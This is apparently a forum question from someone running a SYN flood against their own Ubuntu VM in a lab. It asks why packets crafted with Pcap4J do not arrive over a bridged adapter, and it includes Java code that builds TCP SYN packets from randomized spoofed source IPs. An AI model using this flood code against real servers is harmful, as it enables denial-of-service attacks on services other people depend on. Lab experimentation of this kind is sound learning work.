For educational purposes I'm trying to perform a SYN flood attack on a Ubuntu 18.04 VM. I have enabled bridge mode in my VM settings and set up a web server (10.0.0.10) I can reach on my host pc (10.0.0.3) and vice versa with pings. Pinging from host to server shows Wireshark traffic on the server (request and response), pinging from server to host also shows Wireshark traffic on the server, but not on the host, even though the ping packets are correctly built.
The way I build my attack is to generate random IPs, construct TCP SYN packet and send it to the web server from my host through port 80 (open), which should send a TCP SYN/ACK packet back (I used iptables to route it back to my host pc).
If I construct a TCP packet through Pcap4J (Pcap library for Java) and subsequently send it through the handler, I see it pop up on the host Wireshark.
However, if I check the Wireshark on my VM, the packets do not arrive. The handler does not give an error and the program exits correctly and I am therefore unsure how to fix this problem.
Where is the packet dropped and what can I do to fix it? I need the packets to reach the web server VM (and the server to send them back).
Code:
Pcaphandle send_handle;
//nif_address is a constant of my ethernet connection defined in the file
try {
PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
if (nif == null) {
System.out.println("Networkinterface is null");
return;
}
// Open the device and get a send_handle
int snapshotLength = 65536; // in bytes
int readTimeout = 50; // in milliseconds
send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
} catch (PcapNativeException e) {
System.out.println("Cannot bind NIF to variable from localhost");
e.printStackTrace();
return;
}
//Send packets, e.g. 1 packet by 5 different IPs
for (int i = 0; i < 5; i++) {
//generateIP() function not shown here, but is simply a randomizer and format to IP
InetAddress src_ip = generateIP();
Packet tcpPacket = constructSYNPacket(i, src_ip);
try {
send_handle.sendPacket(tcpPacket);
System.out.println(send_handle.getError());
} catch (PcapNativeException | NotOpenException e) {
e.printStackTrace();
}
}
private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
tcpBuilder
.syn(true)
.ack(false)
.rst(false)
.psh(false)
.urg(false)
.srcAddr(src_address)
.srcPort(TcpPort.getInstance((short) srcPort))
.dstAddr(dst_address)
.dstPort(TcpPort.getInstance((short) dstPort))
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.sequenceNumber(100000 + (packetNr*50));
IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
ipv4Builder
.srcAddr((Inet4Address)src_address)
.dstAddr((Inet4Address)dst_address)
.dontFragmentFlag(true)
.fragmentOffset((short)0)
.ihl((byte)5)
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.protocol(IpNumber.TCP)
.version(IpVersion.IPV4)
.tos((IpV4Packet.IpV4Tos) () -> (byte)0)
.ttl((byte)100)
.payloadBuilder(tcpBuilder);
EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
ethBuilder
.srcAddr(nif_mac)
.dstAddr(dst_mac)
.type(EtherType.IPV4)
.payloadBuilder(ipv4Builder)
.paddingAtBuild(true);
Packet p = ethBuilder.build();
Note: I already disabled SYN cookies in the Ubuntu sysctl.
Even though I have not found out why bridging mode did not work, I managed to make it work using a host-only adapter. Pings and packets were received both ways when I used it.